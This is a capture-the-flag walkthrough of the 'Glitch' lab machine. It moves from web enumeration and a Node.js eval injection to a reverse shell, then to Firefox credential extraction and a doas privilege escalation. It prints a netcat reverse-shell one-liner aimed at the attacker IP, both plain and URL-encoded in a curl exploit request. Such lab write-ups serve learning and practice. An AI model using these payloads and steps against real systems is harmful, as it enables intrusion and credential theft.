Field notes
CTF : GLITCH
Informations
- IP: 10.10.56.225
- MYIP: 10.9.85.5
First enumeration
Basics
- NMAP
sudo nmap -p80 -A 10.10.56.225
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-12 01:07 CEST
Nmap scan report for 10.10.56.225
Host is up (0.059s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: not allowed
|_http-server-header: nginx/1.14.0 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Crestron XPanel control system (90%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.16 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%), Adtran 424RG FTTH gateway (86%), Linux 2.6.32 (86%), Linux 2.6.32 - 3.1 (86%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 35.96 ms 10.9.0.1
2 38.20 ms 10.10.56.225
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.18 seconds
Vulnerabilities search
If we go to http://10.10.56.225/api/access we got an interesting thing :
$ curl http://10.10.56.225/api/access
{"token":"dGhpc19pc19ub3RfcmVhbA=="}
$ echo -ne "dGhpc19pc19ub3RfcmVhbA==" | base64 -d -
xxxxxxxxxx
Setting this cookie we got access to another page which calls another script :
(async function () {
const container = document.getElementById('items');
await fetch('/api/items')
.then((response) => response.json())
.then((response) => {
response.sins.forEach((element) => {
let el = `<div class="item sins"><div class="img-wrapper"></div><h3>${element}</h3></div>`;
container.insertAdjacentHTML('beforeend', el);
});
response.errors.forEach((element) => {
let el = `<div class="item errors"><div class="img-wrapper"></div><h3>${element}</h3></div>`;
container.insertAdjacentHTML('beforeend', el);
});
response.deaths.forEach((element) => {
let el = `<div class="item deaths"><div class="img-wrapper"></div><h3>${element}</h3></div>`;
container.insertAdjacentHTML('beforeend', el);
});
});
const buttons = document.querySelectorAll('.btn');
const items = document.querySelectorAll('.item');
buttons.forEach((button) => {
button.addEventListener('click', (event) => {
event.preventDefault();
const filter = event.target.innerText;
items.forEach((item) => {
if (filter === 'all') {
item.style.display = 'flex';
} else {
if (item.classList.contains(filter)) {
item.style.display = 'flex';
} else {
item.style.display = 'none';
}
}
});
});
});
})();
This script fetches /api/items :
$ curl --cookie "token=this_is_not_real" -X GET http://10.10.56.225/api/items
{"sins":["lust","gluttony","greed","sloth","wrath","envy","pride"],"errors":["error","error","error","error","error","error","error","error","error"],"deaths":["death"]}
But if we use the post method...
$ curl --cookie "token=this_is_not_real" -X POST http://10.10.56.225/api/items
{"message":"there_is_a_glitch_in_the_matrix"}
So maybe we could find a parameter that do something...
$ curl --cookie "token=this_is_not_real" -X POST http://10.10.56.225/api/items?cmd=id
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>ReferenceError: id is not defined<br> at eval (eval at router.post (/var/web/routes/api.js:25:60), <anonymous>:1:1)<br> at router.post (/var/web/routes/api.js:25:60)<br> at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> at next (/var/web/node_modules/express/lib/router/route.js:137:13)<br> at Route.dispatch (/var/web/node_modules/express/lib/router/route.js:112:3)<br> at Layer.handle [as handle_request] (/var/web/node_modules/express/lib/router/layer.js:95:5)<br> at /var/web/node_modules/express/lib/router/index.js:281:22<br> at Function.process_params (/var/web/node_modules/express/lib/router/index.js:335:12)<br> at next (/var/web/node_modules/express/lib/router/index.js:275:10)<br> at Function.handle (/var/web/node_modules/express/lib/router/index.js:174:3)</pre>
</body>
</html>
It seems that the value of our parameter is sent to eval function in router.post...
I found something interesting here : https://medium.com/@sebnemK/node-js-rce-and-a-simple-reverse-shell-ctf-1b2de51c1a44
Exploit
So we need to send this command :
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.9.85.5 1234 > /tmp/f
After applying to it an url encoding :
$ curl --cookie "token=this_is_not_real" -X POST "http://10.10.56.225/api/items?cmd=require(\"child_process\").exec('%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%31%30%2e%39%2e%38%35%2e%35%20%31%32%33%34%20%3e%20%2f%74%6d%70%2f%66')"
$ pwncat -lp 1234
$ id
uid=1000(user) gid=1000(user) groups=1000(user),30(dip),46(plugdev)
:)
Privilege escalation
Enumeration for privesc
$ ls -al
total 48
drwxr-xr-x 8 user user 4096 Jan 27 2021 .
drwxr-xr-x 4 root root 4096 Jan 15 2021 ..
lrwxrwxrwx 1 root root 9 Jan 21 2021 .bash_history -> /dev/null
-rw-r--r-- 1 user user 3771 Apr 4 2018 .bashrc
drwx------ 2 user user 4096 Jan 4 2021 .cache
drwxrwxrwx 4 user user 4096 Jan 27 2021 .firefox
drwx------ 3 user user 4096 Jan 4 2021 .gnupg
drwxr-xr-x 270 user user 12288 Jan 4 2021 .npm
drwxrwxr-x 5 user user 4096 Jul 11 23:01 .pm2
drwx------ 2 user user 4096 Jan 21 2021 .ssh
-rw-rw-r-- 1 user user 22 Jan 4 2021 user.txt
After searching around I finally decided to explore the firefox profile dir.
There was key4.db so I thought there was maybe some creds in it...
I made a tar archive of .firefox dir and downloaded it using pwncat.
Then I cloned a firefox decryption tool repo :
git clone https://github.com/unode/firefox_decrypt.git
And here it is
$ python3 ../firefox_decrypt/firefox_decrypt.py .
Select the Mozilla profile you wish to decrypt
1 -> hknqkrn7.default
2 -> b5w4643p.default-release
2
Website: https://glitch.thm
Username: 'v0id'
Password: 'xxxxxxxxxx'
Now we can su to v0id
I listed suid binaries and find a local doas installation :
$ find / -user root -perm -4000 2>/dev/null
/bin/ping
/bin/mount
/bin/fusermount
/bin/umount
/bin/su
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newuidmap
/usr/bin/chsh
/usr/bin/traceroute6.iputils
/usr/bin/pkexec
/usr/bin/newgidmap
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/doas
Exploit
Is v0id present in the doas config ?
$ /usr/local/bin/doas su -
# cat root.txt
Yes he is !
\o/